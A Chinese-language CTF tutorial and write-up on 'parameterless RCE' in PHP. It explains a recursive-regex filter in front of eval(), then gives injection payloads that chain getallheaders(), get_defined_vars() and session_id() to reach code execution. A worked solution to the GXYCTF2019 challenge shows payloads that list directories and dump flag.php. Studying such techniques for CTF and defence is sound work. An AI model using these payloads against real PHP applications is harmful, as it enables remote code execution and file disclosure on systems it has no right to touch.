无参数RCE总结

知识点

概念

无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。
没有参数的函数什么意思?一般该类题目代码如下(或类似):

<?php
	if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
 		     eval($_GET['exp']);
	}
?>

先来解读下代码:

  • 如果';'===preg_replace(...),那么就执行exp传递的命令
  • \ : 转义字符不多说了
  • [a-z,_]+ : [a-z,_]匹配小写字母和下划线 +表示1到多个
  • (?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))

简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

常见绕过姿势

1、getallheaders()

在这里插入图片描述getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。
在这里插入图片描述
implode()能够直接将getallheaders()返回的数组转化为字符串。
本地测试代码:

<?php
	echo implode(getallheaders());
?>

在这里插入图片描述

可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
在这里插入图片描述

payload:?exp=eval(implode(getallheaders()));

该图来自csdn的noViC4,我自己没有成功

2、get_defined_vars()

在这里插入图片描述

该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果如下:

<?php
	var_dump(get_defined_vars());
?>

在这里插入图片描述

可以看到用GET传入的参数会被显示在数组中的第一位:
在这里插入图片描述
不过这里有这么多的数组,我们也不需要全部查看是吧?那么使用current()函数就可以办成这个事情:
在这里插入图片描述

函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组(也就是上图array(7)中的第一个数组["_GET"]=> array(1) { ["get"]=> string(1) "a" }),所以我们可以通过这个函数将其取出来(官方这个演示很详细了,可以自己看看)。

<?php
    var_dump(current(get_defined_vars()));
?>

在这里插入图片描述

从图中能看出后面传入的shell=phpinfo();出现在了第一个数组的最后。

end()想必你应该了解,说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。

回忆一下之前的payload:?exp=eval(implode(getallheaders()));,设想下:current()是取出二维数组中的第一个(指针指向的那个)一维数组,用end()就可以取出这个一维数组中的最后那个值,加上之前的payload你能想到什么?
新payload:?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个payload的话就可以执行shell的命令了(理论上可行,我这里环境有问题就不演示了)

3、session_id()

在这里插入图片描述

官方说:session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。
在这里插入图片描述
所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex("phpinfo();")=706870696e666f28293b
所以最终组合拳这样打:
在这里插入图片描述

我的环境有问题,该图来自noViC4

配合使用的函数

  • getchwd() 函数返回当前工作目录。
  • scandir() 函数返回指定目录中的文件和目录的数组。
  • dirname() 函数返回路径中的目录部分。
  • chdir() 函数改变当前的目录。
  • readfile() 输出一个文件。
  • current() 返回数组中的当前单元, 默认取第一个值。
  • pos() current() 的别名。
  • next() 函数将内部指针指向数组中的下一个元素,并输出。
  • end() 将内部指针指向数组中的最后一个元素,并输出。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
  • array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
  • array_slice() 函数在数组中根据条件取出一段值,并返回。
  • array_reverse() 函数返回翻转顺序的数组。
  • chr() 函数从指定的 ASCII 值返回字符。
  • hex2bin() — 转换十六进制字符串为二进制字符串。
  • getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。

CTF例题

[GXYCTF2019]禁止套娃

姿势一:array_reverse()

这种一打开没什么东西的题目,御剑,dirsearch常见备份文件名都去试一试。这道题是.git泄露,我这里使用的是git-extract扫出来的。
在这里插入图片描述

打开以后代码如下:
在这里插入图片描述

可以看到过滤了很多伪协议和字符(相当于过滤了很多函数)。
使用我们的第一个payload:?exp=print_r(scandir(current(localeconv())));看到flag.php的位置。
在这里插入图片描述

为什么这样写payload?

这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。

但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.
在这里插入图片描述

再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?(妙啊)

所以这个组合scandir(current(localeconv()))很常用,可以记一下。

言归正传。

现在我们知道了flag.php在数组中的倒数第二个位置,但是并没有什么函数可以直接读倒数第二个。

所以我们用array_reverse()翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个不就出来了吗?

如果flag.php的位置不特殊,可以使用array_rand()array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

所以最后payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
在这里插入图片描述
注意这里要使用show_source,不然打印不出来。

姿势二:session_id()

这个姿势是前面讲过的,因为php不会自动开启session,所以一定要记得session_id(session_start())来开启。

虽然hex被ban了,导致无法使用hex2bin(),但是PHPSESSID本身是可以直接加上例如flag.php这类的字符的。

所以可以直接在bp里面抓包然后修改一下Cookie就可以了:

在这里插入图片描述

这个做法太ez了,你学会了吗?

最终payload:?exp=show_source(session_id(session_start()));,别忘了修改Cookie: PHPSESSID=flag.php


本文参考链接:
csdn-noViC4(链接太长只能这样了,见谅)
https://blog.csdn.net/silence1_/article/details/102835743(会长yyds,滑稽)
https://www.cnblogs.com/wangtanzhi/articles/12311239.html

  • 21
    点赞
  • 70
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值